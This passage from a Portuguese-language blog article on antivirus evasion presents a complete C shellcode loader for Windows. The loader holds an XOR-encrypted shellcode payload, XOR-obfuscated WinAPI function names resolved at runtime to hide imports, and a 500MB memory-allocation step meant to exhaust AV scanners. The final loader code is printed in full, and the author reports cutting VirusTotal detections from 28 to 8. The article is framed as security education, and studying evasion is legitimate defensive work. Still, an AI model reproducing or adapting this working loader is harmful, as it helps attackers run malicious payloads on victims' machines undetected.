0x5f, 0x31, 0x72, 0xf2, 0x73, 0x4c, 0x23, 0x08, 0xbd, 0x3f, 0x13, 0x53, 0x60, 0x23, 0x34, 0x67, 0x24, 0x73, 0x60, 0x27, 0x64, 0x1b, 0x63, 0x24, 0xc8, 0x93, 0x5c, 0x17, 0x10, 0x43, 0x3d, 0x52, 0xb4, 0x04, 0x17, 0x4f, 0x7e, 0x1b, 0x67, 0x31, 0x5b, 0x11, 0x0b, 0x75, 0x0b, 0x5d, 0x43, 0x3c, 0x65, 0xb3, 0xe5, 0x42, 0xfe, 0x12, 0xcb, 0xa2};

unsigned int shellcode_size = sizeof(shellcode);

char xor_key[] = "7h3L0s7C4rc0s4";

//ponteiro para VirtualAlloc
LPVOID (WINAPI * pVA)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD  flProtect);
//ponteiro para VirtualProtect
BOOL (WINAPI * pVP)(LPVOID lpAddress, SIZE_T dwSize, DWORD  flNewProtect, PDWORD lpflOldProtect);
//ponteiro para CreateThread
HANDLE (WINAPI * pCT)(PSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
//ponteiro para WaitForSingleObject
DWORD (WINAPI * pWFSO)(HANDLE hHandle, DWORD dwMilliseconds);
//ponteiro para RtlMoveMemory
VOID (WINAPI * pRM)(VOID UNALIGNED *Destination, const VOID UNALIGNED *Source, SIZE_T Length);

// XOR encrypted da VirtualAlloc
unsigned char cVA[] = {0x61, 0x01, 0x41, 0x38, 0x45, 0x12, 0x5b, 0x02, 0x58, 0x1e, 0x0c, 0x53, 0x73};
unsigned int cVALen = sizeof(cVA);

// XOR encrypted VirtualProtect
unsigned char cVP[] = {0x61, 0x01, 0x41, 0x38, 0x45, 0x12, 0x5b, 0x13, 0x46, 0x1d, 0x17, 0x55, 0x10, 0x40, 0x37};
unsigned int cVPLen = sizeof(cVP);

//XOR encrypted da CreateThread
unsigned char cCT[] = {0x74, 0x1a, 0x56, 0x2d, 0x44, 0x16, 0x63, 0x2b, 0x46, 0x17, 0x02, 0x54, 0x73};
unsigned int cCTLen = sizeof(cCT);

//XOR encrypted da WaitForSingleObject
unsigned char cWFSO[] = {0x60, 0x09, 0x5a, 0x38, 0x76, 0x1c, 0x45, 0x10, 0x5d, 0x1c, 0x04, 0x5c, 0x16, 0x7b, 0x55, 0x02, 0x56, 0x2f, 0x44, 0x73};
unsigned int cWFSOLen = sizeof(cWFSO);

//XOR encrypted da RtlMoveMemory
unsigned char cRM[] = {0x65, 0x1c, 0x5f, 0x01, 0x5f, 0x05, 0x52, 0x0e, 0x51, 0x1f, 0x0c, 0x42, 0x0a, 0x34};
unsigned int cRMLen = sizeof(cRM);

void XOR(char * data, size_t data_len, char * key, size_t key_len) {
    int a;
    a = 0;

    for (int i = 0; i < data_len; i++) {
        if (a == key_len - 1) a = 0;

        data[i] = data[i] ^ key[a];
        a++;
    }
}

int main(void) {
    DWORD oldProtect = 0;
    BOOL rx;
    HANDLE thread;

    // deXOR da VirtualAlloc
    XOR((char *) cVA, cVALen, xor_key, sizeof(xor_key));
        // deXOR do shellcode
    XOR((char *) shellcode, shellcode_size, xor_key, sizeof(xor_key));
    // deXOR da VirtualProtect
    XOR((char *) cVP, cVPLen, xor_key, sizeof(xor_key));
    // deXOR da CreateThread
    XOR((char *) cCT, cCTLen, xor_key, sizeof(xor_key));
    // deXOR da WaitForSingleObject
    XOR((char *) cWFSO, cWFSOLen, xor_key, sizeof(xor_key));
    // deXOR da RtlMoveMemory
    XOR((char *) cRM, cRMLen, xor_key, sizeof(xor_key));

    pVA = GetProcAddress(GetModuleHandle("kernel32.dll"), cVA);
    pVP = GetProcAddress(GetModuleHandle("kernel32.dll"), cVP);
    pCT = GetProcAddress(GetModuleHandle("kernel32.dll"), cCT);
    pWFSO = GetProcAddress(GetModuleHandle("kernel32.dll"), cWFSO);
    pRM = GetProcAddress(GetModuleHandle("kernel32.dll"), cRM);

    void *exec_mem = pVA(0, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);


    pRM(exec_mem, shellcode, shellcode_size);

    rx = pVP(exec_mem, shellcode_size, PAGE_EXECUTE_READ, &oldProtect);

    if ( rx != 0 ) {
            thread = pCT(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
            pWFSO(thread, -1);
    }

    return 0;
}

Com esta implementação, quase todas as funções utilizadas no programa que foram extraídas da WinAPI não fazem mais parte da import address table e nem aparecem nas strings do programa.

Vencendo pelo tempo

Esta implementação é a mais simples e pode não ser efetiva em muitos antivírus mais robustos, porém é uma técnica bastante utilizada que vale a pena implementar.

Uma das limitações de muitos scanners dos antivírus é o tempo que tem para realizar esta tarefa. Imagine que, quando um scan se inicia no SO, milhares de arquivos precisam ser escaneados. Isso implica no fato de que os scanners não tem muito tempo para gastar em cada arquivo, fazendo com que arquivos que consumam muita memória sejam varridos de forma mais superficial.

Neste caso, uma das técnicas mais utilizadas é justamente alocar uma grande quantidade de memória dinâmica antes de se iniciar a lógica da exploração. Por exemplo, podemos alocar na heap 500MB de memória e preenchê-la com zeros:

1
2
3
4
5
6
7
char *mem = NULL;
mem = (char *) malloc(500000000);
if (mem != NULL) {
	memset(mem, 00, 500000000);
	free(mem);
	// lógica da exploração
}

Eu falo muito sobre a heap no meu Paper Heap Exploitation.

Com esta implementação, o código final fica da seguinte forma:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

unsigned char shellcode[] = {0x06, 0xa8, 0x57, 0xed, 0x00, 0x73, 0x37, 0x43, 0xbf, 0x32, 0x6f, 0xbb, 0x33, 0x20, 0xbc, 0x68, 0xb8, 0x4c, 0xbb, 0x2b, 0x27, 0x72, 0xe6, 0x1a, 0x10, 0x43, 0x3d, 0x7a, 0x51, 0xe9, 0x5f, 0x68, 0x32, 0x3d, 0x79, 0x2b, 0x50, 0x16, 0x11, 0x55, 0x1b, 0x46, 0x58, 0x0b, 0x72, 0x24, 0x77, 0x16, 0x43, 0x13, 0xbf, 0x21, 0x5f, 0x31, 0xa9, 0xbf, 0x65, 0x10, 0x32, 0x96, 0xbb, 0x39, 0x17, 0x42, 0xed, 0xfb, 0x2e, 0xcc, 0xf8, 0x66, 0x2b, 0x69, 0xe9, 0x7d, 0xf0, 0x42, 0xfe, 0xca, 0xd2, 0xf9, 0x1e, 0xcc, 0xf8, 0x08, 0xb0, 0x69, 0xec, 0x2a, 0xb3, 0xb2, 0x30, 0xb0, 0x52, 0xd5, 0x17, 0x33, 0x33, 0xd6, 0xdf, 0xeb, 0xf3, 0x4e, 0xbb, 0x4f, 0xb5, 0x42, 0xeb, 0xfb, 0x9e, 0x01, 0xba, 0x65, 0x5f, 0x09, 0x41, 0x35, 0x71, 0x1b, 0x7b, 0x2a, 0x56, 0x00, 0x0b, 0x7c, 0x1c, 0x55, 0x53, 0x3c, 0x60, 0xb3, 0xe5, 0x1b, 0x04, 0x71, 0x7a, 0x3c, 0x05, 0xb1, 0x1f, 0x10, 0x35, 0x26, 0x7d, 0x24, 0x47, 0x00, 0x05, 0x1c, 0x60, 0x8d, 0xb3, 0xb9, 0xb5, 0x5c, 0x42, 0x18, 0x7d, 0x02, 0x56, 0xf2, 0x5b, 0x67, 0x36, 0x3c, 0x2d, 0x58, 0x07, 0x55, 0x45, 0x1c, 0x5b, 0x1b, 0x63, 0x32, 0x64, 0x17, 0x62, 0x8d, 0xb6, 0x01, 0xa1, 0x52, 0x8d, 0xf8, 0x32, 0x65, 0xe4, 0x27, 0x65, 0xbc, 0xe4, 0x1a, 0x17, 0x71, 0x3d, 0x7a, 0x51, 0xe9, 0x5f, 0x68, 0x32, 0x3d, 0x79, 0x2b, 0x5b, 0x11, 0x08, 0x55, 0x1b, 0x63, 0x64, 0x29, 0x60, 0x18, 0x66, 0x8c, 0xe2, 0x72, 0xe6, 0x20, 0x31, 0x62, 0xc1, 0x32, 0x65, 0xe8, 0xd9, 0x49, 0x62, 0x31, 0x65, 0xbc, 0xe4, 0x22, 0x3c, 0x58, 0x16, 0x57, 0x43, 0x26, 0x55, 0xcf, 0x5c, 0x57, 0x34, 0x0d, 0x5c, 0x11, 0x0c, 0x5e, 0x1d, 0x60, 0x61, 0x97, 0xe6, 0xf6, 0xf1, 0xda, 0x7f, 0xc2, 0xb5, 0x98, 0x62, 0x31, 0x72, 0x35, 0x65, 0x0e, 0x5b, 0x6c, 0xcb, 0x42, 0xe5, 0xf1, 0x36, 0x14, 0x31, 0xb9, 0x91, 0x5e, 0x27, 0x3a, 0x64, 0xb3, 0xe0, 0x1b, 0x44, 0x02, 0x7a, 0x3c, 0x05, 0xb1, 0x1f, 0x10, 0x35, 0x26, 0x7d, 0x24, 0x5f, 0x10, 0x52, 0x30, 0x5c, 0x06, 0x06, 0x60, 0x01, 0x5c, 0x74, 0x1a, 0x56, 0x2d, 0x64, 0x20, 0xc8, 0x96, 0xbd, 0xac, 0x0b, 0x53, 0x1e, 0x50, 0x79, 0x0e, 0xb0, 0x20, 0x14, 0x70, 0x79, 0xca, 0xd7, 0x25, 0x34, 0x67, 0x42, 0xcb, 0x5d, 0x7a, 0x6a, 0x1b, 0xd2, 0x8e, 0x51, 0x84, 0x70, 0x56, 0x5f, 0x31, 0x72, 0xf2, 0x73, 0x4c, 0x23, 0x08, 0xbd, 0x3f, 0x13, 0x53, 0x60, 0x23, 0x34, 0x67, 0x24, 0x73, 0x60, 0x27, 0x64, 0x1b, 0x63, 0x24, 0xc8, 0x93, 0x5c, 0x17, 0x10, 0x43, 0x3d, 0x52, 0xb4, 0x04, 0x17, 0x4f, 0x7e, 0x1b, 0x67, 0x31, 0x5b, 0x11, 0x0b, 0x75, 0x0b, 0x5d, 0x43, 0x3c, 0x65, 0xb3, 0xe5, 0x42, 0xfe, 0x12, 0xcb, 0xa2};

unsigned int shellcode_size = sizeof(shellcode);

char xor_key[] = "7h3L0s7C4rc0s4";

//ponteiro para VirtualAlloc
LPVOID (WINAPI * pVA)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD  flProtect);
//ponteiro para VirtualProtect
BOOL (WINAPI * pVP)(LPVOID lpAddress, SIZE_T dwSize, DWORD  flNewProtect, PDWORD lpflOldProtect);
//ponteiro para CreateThread
HANDLE (WINAPI * pCT)(PSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
//ponteiro para WaitForSingleObject
DWORD (WINAPI * pWFSO)(HANDLE hHandle, DWORD dwMilliseconds);
//ponteiro para RtlMoveMemory
VOID (WINAPI * pRM)(VOID UNALIGNED *Destination, const VOID UNALIGNED *Source, SIZE_T Length);

// XOR encrypted da VirtualAlloc
unsigned char cVA[] = {0x61, 0x01, 0x41, 0x38, 0x45, 0x12, 0x5b, 0x02, 0x58, 0x1e, 0x0c, 0x53, 0x73};
unsigned int cVALen = sizeof(cVA);

// XOR encrypted VirtualProtect
unsigned char cVP[] = {0x61, 0x01, 0x41, 0x38, 0x45, 0x12, 0x5b, 0x13, 0x46, 0x1d, 0x17, 0x55, 0x10, 0x40, 0x37};
unsigned int cVPLen = sizeof(cVP);

//XOR encrypted da CreateThread
unsigned char cCT[] = {0x74, 0x1a, 0x56, 0x2d, 0x44, 0x16, 0x63, 0x2b, 0x46, 0x17, 0x02, 0x54, 0x73};
unsigned int cCTLen = sizeof(cCT);

//XOR encrypted da WaitForSingleObject
unsigned char cWFSO[] = {0x60, 0x09, 0x5a, 0x38, 0x76, 0x1c, 0x45, 0x10, 0x5d, 0x1c, 0x04, 0x5c, 0x16, 0x7b, 0x55, 0x02, 0x56, 0x2f, 0x44, 0x73};
unsigned int cWFSOLen = sizeof(cWFSO);

//XOR encrypted da RtlMoveMemory
unsigned char cRM[] = {0x65, 0x1c, 0x5f, 0x01, 0x5f, 0x05, 0x52, 0x0e, 0x51, 0x1f, 0x0c, 0x42, 0x0a, 0x34};
unsigned int cRMLen = sizeof(cRM);

void XOR(char * data, size_t data_len, char * key, size_t key_len) {
    int a;
    a = 0;

    for (int i = 0; i < data_len; i++) {
        if (a == key_len - 1) a = 0;

        data[i] = data[i] ^ key[a];
        a++;
    }
}

int main(void) {
    DWORD oldProtect = 0;
    BOOL rx;
    HANDLE thread;

    char *mem = NULL;
    mem = (char *) malloc(500000000);

    if (mem != NULL) {
        memset(mem, 00, 500000000);
        free(mem);

        // deXOR da VirtualAlloc
        XOR((char *) cVA, cVALen, xor_key, sizeof(xor_key));
            // deXOR do shellcode
        XOR((char *) shellcode, shellcode_size, xor_key, sizeof(xor_key));
        // deXOR da VirtualProtect
        XOR((char *) cVP, cVPLen, xor_key, sizeof(xor_key));
        // deXOR da CreateThread
        XOR((char *) cCT, cCTLen, xor_key, sizeof(xor_key));
        // deXOR da WaitForSingleObject
        XOR((char *) cWFSO, cWFSOLen, xor_key, sizeof(xor_key));
        // deXOR da RtlMoveMemory
        XOR((char *) cRM, cRMLen, xor_key, sizeof(xor_key));

        pVA = GetProcAddress(GetModuleHandle("kernel32.dll"), cVA);
        pVP = GetProcAddress(GetModuleHandle("kernel32.dll"), cVP);
        pCT = GetProcAddress(GetModuleHandle("kernel32.dll"), cCT);
        pWFSO = GetProcAddress(GetModuleHandle("kernel32.dll"), cWFSO);
        pRM = GetProcAddress(GetModuleHandle("kernel32.dll"), cRM);

        void *exec_mem = pVA(0, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);


        pRM(exec_mem, shellcode, shellcode_size);

        rx = pVP(exec_mem, shellcode_size, PAGE_EXECUTE_READ, &oldProtect);

        if ( rx != 0 ) {
                thread = pCT(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
                pWFSO(thread, -1);
        }

        return 0;
    }
}

Ao submeter no VirusTotal novamente, abaixamos a identificação de ameaça de 17 para 8 antivírus somente com as implementações feitas.

Estas técnicas, como dito no início, não são uma bala de prata, porém servem como direção para entender alguns procedimentos que os AVs utilizam para analisar um executável. De fato, seria extremamente difícil zerar o contador do VirusTotal, porém, só com as técnicas apresentadas neste artigo, abaixamos de 28 para 8 detecções, uma quantidade significativa.

Conclusão

Neste artigo, exploramos diversas técnicas de evasão de antivírus, abordando desde conceitos básicos até implementações práticas. Demonstramos como a ofuscação de chamadas de função, o uso de criptografia para esconder payloads e a manipulação de APIs podem reduzir significativamente a detecção por motores de antivírus.

Embora nenhuma técnica de evasão seja infalível, e os desenvolvedores de antivírus estejam constantemente aprimorando suas ferramentas para detectar novas ameaças, entender essas abordagens é essencial para os profissionais de segurança cibernética. Isso não apenas fortalece a capacidade de criar soluções de segurança mais robustas, mas também permite antecipar e neutralizar possíveis ameaças de maneira mais eficaz.

Reduzir a detecção de 28 para 8 antivírus no VirusTotal é um resultado significativo, destacando a eficácia das técnicas discutidas. No entanto, é crucial lembrar que a evasão de AV é uma área de estudo em constante evolução, exigindo aprendizado contínuo e adaptação às novas estratégias defensivas.

Através deste artigo, espero ter fornecido uma base para a compreensão das técnicas de evasão de antivírus e inspirado uma reflexão sobre a importância de se manter atualizado com as práticas mais recentes de segurança cibernética. Incentivamos os leitores a continuarem explorando, testando e contribuindo para o campo, fortalecendo assim a comunidade de segurança cibernética como um todo.

Referências

This post is licensed under CC BY 4.0 by the author.